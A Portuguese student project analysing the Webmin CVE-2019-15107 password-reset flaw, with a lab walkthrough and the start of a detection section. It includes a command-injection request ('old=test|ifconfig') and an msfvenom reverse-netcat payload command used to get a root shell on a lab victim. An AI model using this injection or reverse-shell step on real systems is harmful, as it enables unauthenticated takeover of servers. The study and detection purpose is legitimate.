
projeto escolar
I. Visão geral do CVE-2019-15107
O Webmin é uma interface baseada na web para administração de sistemas Unix. Usando qualquer navegador web, podemos configurar contas de usuário, Apache, DNS, compartilhamento de arquivos e muito mais.
Em 10 de agosto de 2019, o pesquisador de segurança cibernética turco Özkan Mustafa Akkuş divulgou a vulnerabilidade Zero-day na DefCon; além de divulgar a vulnerabilidade, Akkuş também lançou um módulo Metasploit para automatizar a exploração dessa vulnerabilidade. Devido a uma falha de execução de código na função de redefinição de senha do arquivo password_change.cgi, essa vulnerabilidade permite que terceiros executem código malicioso sem autenticação de entrada.
II. Versões afetadas
Esta vulnerabilidade afeta as versões do Webmin de 1.882 a 1.921. Para prevenir essa vulnerabilidade, aqueles que usam Webmin devem atualizar para a versão mais recente, 1.93.
III. Análise da vulnerabilidade
No Webmin, o recurso "permitir alteração de senha do usuário" precisa estar ativado para explorar essa vulnerabilidade. Esta é a única condição; no entanto, muitos administradores do Webmin ativam esse recurso. Ele permite que os usuários definam uma nova senha com a senha antiga. No código-fonte da aplicação Webmin, há vários arquivos ".cgi" notáveis. Um deles é o password_change.cgi.

Há apenas um requisito para que os parâmetros neste arquivo funcionem: o valor "passwd_mode" no arquivo de configuração "miniserv.conf" deve estar definido como "2".

Neste ponto, usaremos "|" para ler o arquivo /etc/shadow durante o processo de autenticação da senha antiga. Exemplo de comando de alteração de senha normal:

Se inserirmos um comando simples como "ifconfig" no comando de alteração de senha, conforme mostrado abaixo, o comando "ipconfig" será executado e o resultado será exibido.

IV. Modelo de implantação
Máquina Ubuntu (vítima) com Webmin versão 1.920 instalado, endereço IP: 192.168.109.128

Máquina Kali (atacante) com endereço IP: 192.168.109.131

Como este CVE explora a função de redefinição de senha quando a senha antiga expirou no Webmin, a vítima deve ter o Webmin configurado no modo "Prompt users with expired password to enter a new one".

V. Exploração da vulnerabilidade CVE
Primeiro, a máquina atacante usará o Burp Suite para capturar as requisições enviadas ao alterar a senha no Webmin a partir do link: 192.168.109.128:10000/password_change.cgi (IP da vítima)

Em seguida, a máquina atacante envia esta requisição para a aba Repeater do Burp Suite para testar a falha.

O atacante modifica algumas informações do pacote de requisição capturado. Como para alterar a senha o método HTTP deve ser POST, não GET como inicialmente.

Em seguida, a máquina atacante envia uma requisição de teste de alteração de senha a partir da senha antiga para o servidor Webmin da vítima:
“user=test&pam=&old=test&new1=test2&new2=test2”

Ao enviar a requisição, recebemos a mensagem de que a senha antiga não corresponde (The current password is incorrect), então o cerne da questão está no parâmetro “old”.
Em seguida, tentamos inserir um comando básico como ifconfig após o parâmetro old, para que, quando o servidor verificar a senha antiga, execute também o comando inserido. Por exemplo:
“user=test&pam=&old=test|ifconfig&new1=test2&new2=test2”

Da mesma forma, ao verificar a senha antiga, o servidor ainda a considera incorreta, mas após a verificação, o comando “ifconfig” foi executado e o resultado exibido.
Depois, para obter acesso root, usaremos o Metasploit framework para criar um payload e enviá-lo ao servidor Webmin da vítima, a fim de receber uma sessão de shell.
“msfvenom -p cmd/unix/reverse_netcat lhost= lport=”

Em seguida, copiamos o payload e o inserimos na requisição no Burp Suite.

Após enviar a requisição contendo o payload para o servidor Webmin, a máquina vítima foi comprometida com um reverse shell. A máquina atacante recebe uma sessão de shell da máquina vítima (ip: 192.168.109.128 porta 37218).

Assim, conseguimos acesso root através desta vulnerabilidade CVE.

VI. Identificação da assinatura do ataque
Usar o Wireshark para capturar os pacotes na camada de rede.

Como para explorar este CVE, o atacante deve usar o link /password_change.cgi para enviar requisições contendo payloads maliciosos através do método POST do HTTP, precisamos analisar os pacotes HTTP capturados no Wireshark.

Observamos que o comando “ifconfig” foi inserido durante o processo de verificação da senha antiga no servidor Webmin.

Portanto, identificamos a assinatura deste CVE como os parâmetros passados durante o processo de alteração de senha através do link /password_change.cgi: “user=test&pam=&old=test | &new1=test2&new2=test2” VII. Construção da ferramenta de detecção do ataque CVE-2019-15107
Conforme analisado acima, o atacante precisa inserir um comando no parâmetro old (“senha antiga”) para realizar o ataque.
